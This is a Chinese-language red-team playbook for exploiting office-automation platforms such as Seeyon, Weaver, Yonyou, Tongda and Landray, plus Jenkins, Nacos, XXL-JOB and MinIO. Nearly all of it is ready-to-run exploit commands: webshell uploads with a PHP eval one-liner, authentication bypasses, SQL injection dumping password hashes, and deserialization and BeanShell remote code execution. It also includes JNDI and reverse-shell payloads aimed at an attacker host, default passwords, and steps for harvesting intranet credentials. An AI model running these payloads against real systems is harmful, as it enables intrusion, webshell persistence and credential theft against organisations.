Oa System Attack

国产 OA/内网系统漏洞利用

国内比赛内网环境几乎必有 OA 系统——它们历史漏洞多、补丁率低、权限通常较高。

⛔ 深入参考（必读）

• 致远/泛微/用友详细漏洞利用 → references/oa-exploits.md
• 通达/蓝凌/其他系统漏洞利用 → references/oa-exploits-more.md

---

Phase 1: OA 系统识别

# Web 指纹识别
whatweb http://TARGET
curl -sI http://TARGET | grep -i "Server"
curl -s http://TARGET | grep -iE "seeyon|致远|weaver|ecology|泛微|yonyou|用友|tongda|通达|landray|蓝凌|ezoffice|万户"

# 常见路径指纹
curl -s http://TARGET/seeyon/           # 致远 OA
curl -s http://TARGET/weaver/           # 泛微 E-cology
curl -s http://TARGET/mobile/           # 泛微 E-mobile
curl -s http://TARGET/ispirit/          # 通达 OA
curl -s http://TARGET/sys/             # 蓝凌 OA
curl -s http://TARGET/portal/          # 用友 NC

Phase 2: 系统 → 漏洞速查

致远 OA (Seeyon) — 漏洞最多

泛微 OA (Weaver/E-cology) — 出现频率最高

用友 NC (Yonyou) — 权限通常高

通达 OA — 入门级目标

蓝凌 OA (Landray) — SSRF 到 RCE

→ 详细 payload → references

Phase 3: 通用攻击策略

发现 OA 系统后:
1. 确认系统类型和版本
2. 尝试默认口令
3. 查已知 CVE / Nday
4. nuclei 扫描: nuclei -u TARGET -tags oa,seeyon,weaver,tongda
5. 手动验证高危漏洞（RCE > 文件上传 > SQLi > 信息泄露）
6. 获取 shell 后收集内网凭据

默认口令速查

通达/蓝凌/其他 OA 系统漏洞利用

1. 通达 OA (Tongda)

1.1 文件上传 + 文件包含 RCE（经典组合）

# 步骤 1: 上传恶意文件（无需认证）
curl "http://TARGET/ispirit/im/upload.php" \
  -F "UPLOAD_MODE=2" \
  -F "P=123" \
  -F "DEST_UID=1" \
  -F "ATTACHMENT=@shell.jpg;type=image/jpeg"
# 返回文件名，如: 2409/1234567890.jpg

# 步骤 2: 文件包含执行
curl "http://TARGET/ispirit/interface/gateway.php" \
  -d "json={\"url\":\"/general/../../attach/im/2409/1234567890.jpg\"}"

# shell.jpg 内容（PHP 一句话）:
# <?php @eval($_POST['cmd']);?>

1.2 任意用户登录

# logincheck_code.php 认证绕过
curl "http://TARGET/logincheck_code.php" \
  -d "CODEUID=&UID=1"
# UID=1 通常是 admin
# 返回 Set-Cookie → 直接登录后台

# 或通过 /general/login_code.php
curl "http://TARGET/general/login_code.php?admin=1&reession=test"

1.3 SQL 注入

# getTableInfo.php
curl "http://TARGET/general/approve_center/archive/getTableInfo.php" \
  -d "TABLE_NAME=V_APPROVE%20where%201%3D1%20UNION%20ALL%20SELECT%20NULL%2CUSER_NAME%2CPASSWD%20FROM%20USER--"

# 密码通常是 MD5 加密

1.4 任意文件下载

curl "http://TARGET/inc/package/down.php?P=../../../webroot/inc/oa_config.php"
# oa_config.php 包含数据库密码

1.5 任意文件删除

curl "http://TARGET/module/appbuilder/assets/print.php?guid=../../../webroot/inc/oa_config.php"

2. 蓝凌 OA (Landray)

2.1 custom.jsp SSRF → RCE

# 检测
curl "http://TARGET/sys/ui/extend/varkind/custom.jsp"

# SSRF 读取文件
curl "http://TARGET/sys/ui/extend/varkind/custom.jsp" \
  -d "var={\"body\":{\"file\":\"file:///etc/passwd\"}}"

# SSRF → RCE（通过 JNDI）
curl "http://TARGET/sys/ui/extend/varkind/custom.jsp" \
  -d "var={\"body\":{\"file\":\"ldap://ATTACKER:1389/Exploit\"}}"

2.2 反序列化 RCE

# sysSearchMain.do
curl "http://TARGET/sys/search/sys_search_main/sysSearchMain.do" \
  -d "method=editParam&fdParemNames=&fdParameters=[SERIALIZED_PAYLOAD]"

# 使用 ysoserial 生成
java -jar ysoserial.jar CommonsCollections3 "id" | base64 > payload.txt

2.3 任意文件读取

curl "http://TARGET/sys/ui/extend/varkind/custom.jsp" \
  -d "var={\"body\":{\"file\":\"/WEB-INF/KmsConfig/admin.properties\"}}"
# admin.properties 包含管理员密码

2.4 XMLDecoder 反序列化

curl "http://TARGET/data/sys-common/datajson.js" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0" class="java.beans.XMLDecoder">
  <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec">
      <array class="java.lang.String" length="3">
        <void index="0"><string>/bin/bash</string></void>
        <void index="1"><string>-c</string></void>
        <void index="2"><string>id</string></void>
      </array>
    </void>
  </object>
</java>'

3. 万户 OA (Ezoffice)

3.1 任意文件上传

curl "http://TARGET/defaultroot/upload/fileUpload.controller" \
  -F "file=@shell.jsp" \
  -F "path=../webapps/defaultroot/"

curl "http://TARGET/shell.jsp?cmd=id"

3.2 SQL 注入

curl "http://TARGET/defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp?recordId=1' union select 1,2,user(),4--"

4. 金蝶 OA (Kingdee / Apusic)

4.1 EAS 反序列化

# 金蝶 EAS 反序列化
curl "http://TARGET/easportal/tools/ilogsearch.jsp" \
  --data-binary @ysoserial_payload

# 或通过 RMI
python3 exploit.py -t TARGET -p 10000 -c "id"

4.2 云星空文件上传

# Kingdee 云星空
curl "http://TARGET/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.Post.common.kdsvc" \
  -H "Content-Type: multipart/form-data" \
  -F "file=@shell.aspx"

5. 红帆 iOffice

5.1 任意文件上传

curl "http://TARGET/ioffice/prg/set/wss/uploadOperation.aspx" \
  -F "file=@shell.aspx"

6. 其他常见内网系统

Zabbix

# 默认密码: Admin/zabbix
curl "http://TARGET/zabbix/api_jsonrpc.php" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"user.login","params":{"user":"Admin","password":"zabbix"},"id":1}'

# 获取 token 后 → 通过 Script 功能执行命令

GitLab

# 参考 known-cve-quick-exploit 中 CVE-2021-22205

Jenkins

# Script Console: http://TARGET:8080/script
# 如果未授权或弱密码
curl "http://TARGET:8080/script" -d 'script=println "id".execute().text'

# Groovy 反弹 shell
# String host="ATTACKER";int port=4444;String cmd="/bin/bash";
# Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();

Nacos

# 未授权访问
curl "http://TARGET:8848/nacos/v1/auth/users?pageNo=1&pageSize=9"
# 默认: nacos/nacos

# 配置信息泄露（含数据库密码等）
curl "http://TARGET:8848/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=100&tenant=&search=accurate"

XXL-JOB

# 默认密码: admin/123456
# 执行器 RCE
curl "http://TARGET:9999/run" \
  -H "Content-Type: application/json" \
  -d '{"jobId":1,"executorHandler":"demoJobHandler","executorParams":"","executorBlockStrategy":"COVER_EARLY","executorTimeout":0,"logId":1,"logDateTime":1586629003729,"glueType":"GLUE_SHELL","glueSource":"id","glueUpdatetime":1586699003758,"broadcastIndex":0,"broadcastTotal":0}'

MinIO

# CVE-2023-28432 信息泄露
curl "http://TARGET:9000/minio/health/cluster?verify"
# 返回环境变量（含 MINIO_ROOT_PASSWORD）

7. 自动化扫描

# nuclei OA 模板
nuclei -u http://TARGET -tags oa,seeyon,weaver,tongda,landray,yonyou

# fscan 内网扫描（自带 OA 指纹+POC）
fscan -h 10.0.0.0/24 -p 80,8080,8088,8089,8443,9090

# EHole（红队指纹识别）
EHole -l urls.txt

致远/泛微/用友 OA 漏洞利用详解

1. 致远 OA (Seeyon)

1.1 Session 泄露 → 任意管理员登录

# 获取管理员 Session
curl "http://TARGET/seeyon/thirdpartyController.do.css/..;/ajax.do" \
  -d "method=ajaxAction&managerName=poraboraaboraMessage&arguments=%5B%5D"
# 或
curl "http://TARGET/seeyon/thirdpartyController.do" \
  -d "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMQ%3D%3D"
# 返回管理员 SessionID → 设置 Cookie 登录

# 用获取的 Session 访问后台
curl -b "JSESSIONID=SESSION_ID" http://TARGET/seeyon/main.do

1.2 htmlofficeservlet 文件上传 RCE

# 上传 JSP webshell
curl "http://TARGET/seeyon/htmlofficeservlet" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary "DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLesQYOGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>"

# 访问上传的 webshell
curl "http://TARGET/seeyon/testtesttest.jsp?cmd=id"

1.3 反序列化 RCE

# autoinstall.do.css
curl "http://TARGET/seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip" \
  --data-binary @payload.bin

# 使用 ysoserial 生成 payload
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,BASE64}|{base64,-d}|{bash,-i}" | gzip > payload.bin

1.4 任意文件下载

curl "http://TARGET/seeyon/downloadExcelBean498.do?method=addRow&field_name=&key=&file_name=../../../etc/passwd"
# 或
curl "http://TARGET/seeyon/getRealPath.do?FilePath=../../../../../../etc/passwd"

2. 泛微 OA (Weaver / E-cology / E-mobile)

2.1 BeanShell RCE

# E-cology BshServlet（未授权代码执行）
curl "http://TARGET/weaver/bsh.servlet.BshServlet" \
  -d 'bsh.script=exec("id");'

# 或
curl "http://TARGET/weaver/bsh.servlet.BshServlet" \
  -d 'bsh.script=new String(Runtime.getRuntime().exec("id").getInputStream().readAllBytes());'

2.2 SQL 注入

# WorkflowCenterTreeData.jsp
curl "http://TARGET/mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333" \
  -d "formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dUNION SELECT 1,2,loginid,passwd,5,6,7 FROM HrmResourceManager--"

# DBconfigReader.jsp（数据库配置泄露）
curl "http://TARGET/mobile/DBconfigReader.jsp"
# 返回数据库连接字符串（含密码）

2.3 文件上传

# workflowToDoc 命令执行
curl "http://TARGET/api/integration/workflowToDoc" \
  -H "Content-Type: application/json" \
  -d '{"messageType":"textUrl","moduleType":"9","remindTplId":"1","url":"http://ATTACKER/evil.html","title":"test"}'

# 或通过 upload 接口
curl "http://TARGET/weaver/weaver.common.Ctrl/fileUpload.do" \
  -F "file=@shell.jsp"

2.4 SSRF

curl "http://TARGET/ssrf/proxy?url=http://INTERNAL_IP:PORT/"
# 或
curl "http://TARGET/weaver/ln.FileDownload?fpath=http://INTERNAL_IP:PORT/"

2.5 E-mobile 漏洞

# 日志泄露
curl "http://TARGET/mobile/plugin/SyncUserInfo.jsp"
# 可能泄露用户信息

# messageType.do SQL 注入
curl "http://TARGET/mobile/messageType.do" -d "method=editMessageType&messageTitle=1'and+1=2+union+select+1,2,3,4,loginid,passwd,7,8,9,10,11+from+HrmResourceManager--"

3. 用友 NC

3.1 BshServlet RCE（最常见）

# 未授权 BeanShell 执行
curl "http://TARGET/servlet/~ic/bsh.servlet.BshServlet" \
  -d 'bsh.script=exec("id");'

# 执行系统命令
curl "http://TARGET/servlet/~ic/bsh.servlet.BshServlet" \
  -d 'bsh.script=Runtime.getRuntime().exec("id");'

3.2 FileReceiveServlet 任意文件上传

curl "http://TARGET/servlet/FileReceiveServlet" \
  -H "Content-Type: multipart/form-data" \
  -F "FileName=/../../webapps/nc_web/shell.jsp" \
  -F "file=@shell.jsp"

# 访问 webshell
curl "http://TARGET/shell.jsp?cmd=id"

3.3 NCFindWeb 目录遍历

curl "http://TARGET/NCFindWeb?service=IPreAlertConfigService&filename="
# 列出文件目录

curl "http://TARGET/NCFindWeb?service=IPreAlertConfigService&filename=../../../../../../etc/passwd"

3.4 反序列化

# /servlet/~uap/nc.itf.iufo.FunctionServlet
curl "http://TARGET/servlet/~uap/nc.itf.iufo.FunctionServlet" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><java><object class="java.lang.Runtime" method="getRuntime"><void method="exec"><string>id</string></void></object></java>'

3.5 用友 U8/GRP-U8

# 任意文件上传
curl "http://TARGET/u8qx/servlet/UploadFile" -F "file=@shell.jsp"

# SQL 注入
curl "http://TARGET/Proxy" -d "cVer=9.8.0&dp=%3CR9PACKET%20version%3D%221%22%3E...SQL_INJECTION..."